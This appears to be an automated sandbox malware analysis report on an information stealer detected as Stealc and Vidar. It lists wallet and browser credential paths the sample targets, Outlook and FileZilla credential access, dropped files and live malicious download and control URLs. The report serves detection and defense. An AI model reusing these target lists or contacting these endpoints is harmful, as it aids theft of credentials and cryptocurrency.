Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2386289151.00000000025AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.*o

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 6880, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000015.00000002.2608427789.00000000026DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2386289151.0000000002578000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2783199122.000000000267A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2479176591.0000000002567000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 659e6df34d.exe PID: 7596, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 659e6df34d.exe PID: 7856, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6880, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF0C40 sqlite3_bind_zeroblob,	0_2_6CBF0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF0D60 sqlite3_bind_parameter_name,	0_2_6CBF0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB18EA0 sqlite3_clear_bindings,	0_2_6CB18EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	11 Input Capture	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	22 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	112 Process Injection	4 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	23 Software Packing	NTDS	346 System Information Discovery	Distributed Component Object Model	11 Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	661 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	44%	Virustotal		Browse
file.exe	100%	Avira	HEUR/AGEN.1312596
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\userIJKFHIIEHI.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	100%	Avira	HEUR/AGEN.1312596
C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Joe Sandbox ML
C:\Users\userIJKFHIIEHI.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
star-mini.c10r.facebook.com	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
twitter.com	0%	Virustotal	Browse
prod.balrog.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
services.addons.mozilla.org	0%	Virustotal	Browse
prod.detectportal.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
prod.remote-settings.prod.webservices.mozgcp.net	0%	Virustotal	Browse
contile.services.mozilla.com	0%	Virustotal	Browse
youtube-ui.l.google.com	0%	Virustotal	Browse
dyna.wikimedia.org	0%	Virustotal	Browse
ipv4only.arpa	0%	Virustotal	Browse
reddit.map.fastly.net	0%	Virustotal	Browse
normandy-cdn.services.mozilla.com	0%	Virustotal	Browse
us-west1.prod.sumo.prod.webservices.mozgcp.net	0%	Virustotal	Browse
www.reddit.com	0%	Virustotal	Browse
prod.ads.prod.webservices.mozgcp.net	0%	Virustotal	Browse
prod.content-signature-chains.prod.webservices.mozgcp.net	0%	Virustotal	Browse
spocs.getpocket.com	0%	Virustotal	Browse
telemetry-incoming.r53-2.services.mozilla.com	0%	Virustotal	Browse
support.mozilla.org	0%	Virustotal	Browse
www.youtube.com	0%	Virustotal	Browse
push.services.mozilla.com	0%	Virustotal	Browse
firefox.settings.services.mozilla.com	0%	Virustotal	Browse
content-signature-2.cdn.mozilla.net	0%	Virustotal	Browse
detectportal.firefox.com	0%	Virustotal	Browse
normandy.cdn.mozilla.net	0%	Virustotal	Browse
www.facebook.com	0%	Virustotal	Browse
shavar.services.mozilla.com	0%	Virustotal	Browse
www.wikipedia.org	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsusersIncIEEERootCA.cr	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://www.amazon.com/exec/obidos/external-search/	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
https://monitor.firefox.com/about	0%	URL Reputation	safe
https://account.bellmedia.c	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://infra.spec.whatwg.org/#ascii-whitespace	0%	URL Reputation	safe
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://monitor.firefox.com/user/preferences	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://gpuweb.github.io/gpuweb/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	0%	URL Reputation	safe
https://www.olx.pl/	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	0%	URL Reputation	safe
https://basket.mozilla.org/news/subscribe_sms/	0%	Avira URL Cloud	safe
https://webextensions.settings.services.mozilla.com/v1	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	0%	URL Reputation	safe
https://www.avito.ru/	0%	URL Reputation	safe
https://developers.google.com/safe-browsing/v4/advisory	0%	URL Reputation	safe
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	0%	Avira URL Cloud	safe
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	URL Reputation	safe
http://poczta.interia.pl/mh/?mailto=%s	0%	URL Reputation	safe
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	100%	Avira URL Cloud	malware
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	0%	Avira URL Cloud	safe
http://85.28.47.31/5499d72b3a3e55be.phpV82	100%	Avira URL Cloud	malware
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordshttps	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	17%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.php	100%	Avira URL Cloud	malware
https://github.com/mozilla-services/screenshots	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/softokn3.dll	100%	Avira URL Cloud	malware
https://spocs.getpocket.com/userDISCOVERY_STREAM_CONFIG_CHANGE	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.php00	100%	Avira URL Cloud	phishing
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	0%	Avira URL Cloud	safe
https://firefox.settings.services.mozilla.com/v1i	0%	Avira URL Cloud	safe
https://ok.ru/	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/freebl3.dllT	100%	Avira URL Cloud	malware
https://www.google.com/policies/privacy/2	0%	Avira URL Cloud	safe
http://exslt.org/dates-and-times	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/nss3.dll	100%	Avira URL Cloud	malware
https://screenshots.firefox.com/webcompat-reporter	0%	Avira URL Cloud	safe
https://youtube.comQUERY_STRIPPING_STRIP_ON_SHARE	0%	Avira URL Cloud	safe
https://getpocket.com/	0%	Avira URL Cloud	safe
https://www.youtube.com/accountC:	0%	Avira URL Cloud	safe
https://www.youtube.com/accountfingerprinting-annotationsocialtracking-annotation_isMixedActiveConte	0%	Avira URL Cloud	safe
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr	0%	Avira URL Cloud	safe
https://firefox.settings.services.mozilla.com/v1i#	0%	Avira URL Cloud	safe
https://ebay.comP	0%	Avira URL Cloud	safe
https://www.iqiyi.com/	0%	Avira URL Cloud	safe
https://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHandlersIfNeededCan	0%	Avira URL Cloud	safe
https://monitor.firefox.compictureinpicture.settingsbrowser.migration.versionnetwork.proxy.backup.so	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/freebl3.dllC	100%	Avira URL Cloud	malware
http://fb.me/use-check-prop-typesG	0%	Avira URL Cloud	safe
https://fb.me/react-polyfillsP	0%	Avira URL Cloud	safe
http://detectportal.firefox.com/canonical.htmlACTIVITY_SUBTYPE_PROXY_RESPONSE_HEADERACTIVITY_SUBTYPE	0%	Avira URL Cloud	safe
https://fb.me/react-polyfillsO	0%	Avira URL Cloud	safe
https://yandex.com	0%	Avira URL Cloud	safe
https://www.zhihu.com/	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.phpcK2	100%	Avira URL Cloud	phishing
http://85.28.47.31/5499d72b3a3e55be.php~	100%	Avira URL Cloud	malware
https://mail.yahoo.co.jp/compose/?To=%s	0%	Avira URL Cloud	safe
https://getpocket.com/recommendationsDisplays	0%	Avira URL Cloud	safe
https://firefox-source-docs.mozilla.org/remote/Security.html	0%	Avira URL Cloud	safe
https://vk.com/	0%	Avira URL Cloud	safe
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	0%	Avira URL Cloud	safe
